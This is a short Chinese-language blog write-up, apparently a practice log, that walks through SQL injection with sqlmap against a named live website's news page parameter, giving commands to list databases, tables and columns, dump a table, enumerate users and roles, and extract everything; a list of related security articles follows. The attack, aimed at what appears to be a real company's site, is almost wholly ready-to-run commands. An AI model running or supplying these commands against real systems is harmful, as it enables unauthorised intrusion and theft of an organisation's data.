write up::web 实战2-注入 --sqlmap注入版

0x00根据注入点爆出数据库

sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 --dbs

0x01根据数据库爆出表名

sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 --tables -D u9897uwx_kabel

0x02练点其他的

1.查找某张表的字段信息

比如这里查找最后一张表（tbnomax）的字段信息

sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 --columns -T tbnomax

2.提取整个表的具体内容

sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 --dump  -T tbnomax

3.敏感字段进行16进制编码

sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 --columns -T tbnomax --hex

4.查找用户

sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 --users

5.提取所有信息

sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 -a

6.查看用户角色信息

 sqlmap -u http://www.kabelindo.co.id/readnews.php?id=28 --roles

end～

write up::web 实战2-注入 --sqlmap注入版相关推荐

黑客攻防技术宝典：Web实战篇（第2版）与第1版的区别
第1版出版4年以来,许多事情发生了改变,而许多事情仍保持原状.当然,新技术继续高速发展,这引发了各种新型漏洞和攻击.同时,黑客们还开发出了新的攻击技术,设计了利用旧有漏洞的新方法.但是,这些技术或人为 ...
write up:web 实战2-注入--sql注入（手工注入详细版）
0x00查找注入点我是通过展开html标签来找注入点的注入点 www.kabelindo.co.id/readnews.php?id=28 下面开始盘它!!! 0x01 手动注入先确定字段数目 ...
SQL注入攻击及防御手动注入+sqlmap自动化注入实战（网络安全学习12）
CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...
【Web安全】关于SQL注入简介以及使用SqlMap获取管理员密码的探索
上次用Burp抓包本地dami框架成功附上截图: 文章目录 1 SQL注入漏洞简介 1.1 SQL注入点的类型 1.2 SQL注入之注入点的寻找 2 SqlMap 3 SqlMap注入基本流程 4 ...
利用sqlmap注入获取网址管理员账号密码
1.跨站脚本原理:指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式. ( ...
Web安全渗透学习-SQL注入
SQL注入攻击所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令 ...
Web渗透测试对靶机注入shell（phpMyAdmin）
Web渗透测试对靶机注入shell 文章目录 Web渗透测试对靶机注入shell 1.寻找目标信息 netdiscover扫描 nmap扫描利用御剑后台进行扫描 2.对登录页面进行暴力破解启动bu ...
【渗透工具】-SQL注入-SQLMap项目梳理
文章目录概述8个目录文件详细说明4个重点目录软件说明doc 插件库plugins 绕过脚本tamper data数据目录使用说明查看软件信息和 General 基础用法 -h 1.Targ ...
web漏洞开始，sql注入
第十一天,web漏洞必懂知识点这个图里面,右边的漏洞比左边的漏洞相对重要,因为在实战过程中,左边所产生的漏洞就比较少,我们学习网络安全呢就要做到他们的这些原理和危害. 比如sql注入漏洞是网站数据库 ...

write up::web 实战2-注入 --sqlmap注入版

0x00根据注入点爆出数据库

0x01根据数据库爆出表名

0x02练点其他的

1.查找某张表的字段信息

2.提取整个表的具体内容

3.敏感字段进行16进制编码

4.查找用户

5.提取所有信息

6.查看用户角色信息

write up::web 实战2-注入 --sqlmap注入版相关推荐

最新文章

热门文章